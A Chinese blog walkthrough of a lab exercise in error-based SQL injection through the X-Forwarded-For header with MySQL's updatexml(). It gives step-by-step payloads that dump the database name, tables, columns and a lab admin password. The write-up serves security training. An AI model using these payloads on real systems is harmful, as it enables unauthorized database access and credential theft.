X-Forwarded-For + updatexml报错注入

如需转载,请标明出处!!!!!!!!!

1. 前置知识

1.1 报错注入的原理

  • 原理概述:
    • SQL报错注入就是利用数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中。这种手段在联合查询受限且能返回错误信息的情况下比较好用,毕竟用盲注的话既耗时又容易被封。
  • updatexml(XML_document, XPath_string, new_value)函数
    • 作用:
      • 改变xml文档中符合XPath字符串条件的结点的数值。
    • 参数说明:
      • XML_document参数:String格式,为XML文档的名称。
      • XPath_string参数:Xpath格式的字符串。
      • new_value参数:String格式,将要替换的数据。
    • 报错原理:
      • 在mysql执行updatexml函数的时候会检查第二个参数,看它的输入是否符合XPath字符串的规范,如果不符合,则会产生报错。

1.2 X-Forwarded-For

2. 注入流程

  1. 判断注入点
  2. 爆当前用户的数据库,用户权限,数据库版本
  3. 爆当前数据库的所有表名
  4. 爆表中的所有字段名
  5. 查询字段值(获取账号密码)

3. 靶场实战

  • 由于是对XFF头进行注入,那么这里就采用burp进行抓包,然后利用burp的重传模块进行注入。
    01_展示

3.1 判断注入点:

  • payload
    X-Forwarded-For:1.1.1.1 -- 页面出现回显
    X-Forwarded-For:1.1.1.1' -- 页面报错
    
    • 页面返回出错,说明我们的payload被成功的执行了,存在注入点
      02_判断注入点

3.2 爆当前用户的数据库,用户权限,数据库版本

  • payload:
    X-Forwarded-For:1.1.1.1' and updatexml(1,concat(0x7e,(select user()),0x7e),1))#
    X-Forwarded-For:1.1.1.1' and updatexml(1,concat(0x7e,(select database()),0x7e),1))#
    X-Forwarded-For:1.1.1.1' and updatexml(1,concat(0x7e,(select version()),0x7e),1))#
    
    • 由页面返回结果可知:
      • 当前登录的用户为:admin@localhost
      • 当前连接的数据库名为:webcalendar
      • 当前数据库的版本为:5.5.46-0ubuntu0.14.04.2
        03_爆当前用户的数据库,用户权限,数据库版本

3.3 爆当前数据库的所有表名

  • payload:
    X-Forwarded-For:1.1.1.1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='webcalendar'),0x7e),1))#
    
    • 由页面返回结果可知,当前数据库所有的表名为:logins,user两张表
      04_爆当前数据库的所有表名

3.4 爆表中的所有字段名

  • payload:
    1. X-Forwarded-For:1.1.1.1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='logins'),0x7e),1))#
    2. X-Forwarded-For:1.1.1.1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='user'),0x7e),1))#
    
    • 通过页面的返回结果可以看到两张表均有username和password字段,啊这,只好全部爆破一遍了。
      05_爆表的所有字段名

3.5 查询字段值

  • payload:

    • 爆user表的字段值
      1. X-Forwarded-For:1.1.1.1' and updatexml(1,concat(0x7e,(select group_concat(username) from user),0x7e),1))#
      2. X-Forwarded-For:1.1.1.1' and updatexml(1,concat(0x7e,(select group_concat(password) from user),0x7e),1))#
      
      • 由页面返回结果可知,user表中只有一条记录,admin/2538910828
        06_爆user表的字段值
    • 爆logins表的字段值
      1. X-Forwarded-For:1.1.1.1' and updatexml(1,concat(0x7e,(select group_concat(username) from logins),0x7e),1))#
      2. X-Forwarded-For:1.1.1.1' and updatexml(1,concat(0x7e,(select group_concat(password) from logins),0x7e),1))#
      
      • 由页面返回的结果,看起来不像是账号密码
        07_爆logins表的字段值
  • 经登陆测试,user表中的账号密码是正确的(admin/2538910828)
    08_登录拿key

内容来源于网络如有侵权请私信删除

文章来源: 博客园

原文链接: https://www.cnblogs.com/02SWD/p/15836913.html

你还没有登录,请先登录注册
  • 还没有人评论,欢迎说说您的想法!